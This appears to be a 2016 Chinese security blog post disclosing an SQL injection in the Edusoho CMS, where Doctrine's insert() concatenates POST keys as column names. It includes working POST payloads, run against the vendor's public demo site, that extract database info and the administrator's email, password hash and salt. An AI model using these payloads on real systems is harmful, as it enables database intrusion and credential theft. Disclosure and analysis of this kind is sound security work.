PHITHON的公开漏洞Edusoho一处SQL注入漏洞(demo站演示) 2016-09-23
Edusoho一处SQL注入漏洞(demo站演示)
现代cms框架(laraval/symfony/slim)的出现,导致现今的php漏洞出现点、原理、利用方法,发生了一些变化,这个系列希望可以总结一下自己挖掘的此类cms漏洞。
今天这个漏洞是Edusoho的一个SQL注入漏洞。
首先,我简要说明一下漏洞原理。
【漏洞源码下载: https://mega.nz/#!4chVWCAB!xBVyC9QqxMCmeuLu3rGx__PwgkLe_a5NWUITLS3QzuM 】
Edusoho是一个设计思维先进的CMS,对于SQL语句,全站使用参数化查询来杜绝SQL注入。那么,使用了参数化查询以后,怎么继续挖掘SQL注入漏洞?
看到 src/WebBundle/CoinController.php:280
1 | public function payAction(Request $request) |
$formData
获取的是整个POST数组,并直接传入$order=$this->getCashOrdersService()->addOrder($formData);
。
跟进addOrder函数:
1 | public function addOrder($order) |
进行了一些字段处理以后,传入$this->getOrderDao()->addOrder($order)
。跟进:
1 | public function addOrder($fields) |
调用$this->getConnection()->insert($this->table, $fields)
进行处理。
这用到的是doctrine,这个php库。
这也是现代php应用的一大特点,很多应用可以方便快捷的通过composer安装自己需要的库,这样就不再需要去自己编写底层的一些代码。
doctrine的insert方法如下:
1 | public function insert($tableExpression, array $data, array $types = array()) |
实际上,参数化查询真正起作用的地方,是在SQL语句的『value』位置。正如上述代码中写的,在values的位置,他用array_fill
将?填充进SQL语句中,并绑定需要插入的数据。
但field位置呢?这里直接拼接的啊' (' . implode(', ', array_keys($data)) . ')'
。
很明显的SQL注入漏洞。
所以,只要我传入POST参数的key等于注入语句,即可成功注入。
简单在本地测试一下即可证明问题,传入a=1&b=2(这里要带上自己的_csrf_token
):
查看SQL语句日志:
这里成功注入a、b。
我们开启debug模式也能看到报错(但正常环境是不开启的):
那么怎么利用?
其实也好说,这里是一个insert型注入,最简单的方式就是延时,但显然不够优雅。这里是创建订单的请求,我只需要将我想获得的数据放在订单title的位置即可在后面看到这个订单了。
demo站测试:
注意userId需要等于自己的id,sn需要是一个以前不存在的值,createTime设置成一个比当前时间戳大很多的时间即可。
POST数据:
&_csrf_token=a945c6f144f7a84562e23c1a426b44ee384cf10a&amount=10¬e,sn,status,title,createdTime,userId)values(1,'sqli',100002929296,1,concat(user(),0x23,version(),0x23,database()),2451314780,15445);=1
返回包是302跳转,即跳转到订单支付的页面,页面中即为注入结果:
http://demo.edusoho.com/pay/center?sn=100002929296&targetType=coin
也可以直接注入出管理员账号密码:
POST数据包:&_csrf_token=a945c6f144f7a84562e23c1a426b44ee384cf10a&amount=10¬e,sn,status,title,createdTime,userId)values(1,'sqli',100002929298,1,(select/**/concat(email,0x23,password,0x23,salt)from`user`limit/**/0,1),2451314780,15445)%3b=1
查看:
http://demo.edusoho.com/pay/center?sn=100002929298&targetType=coin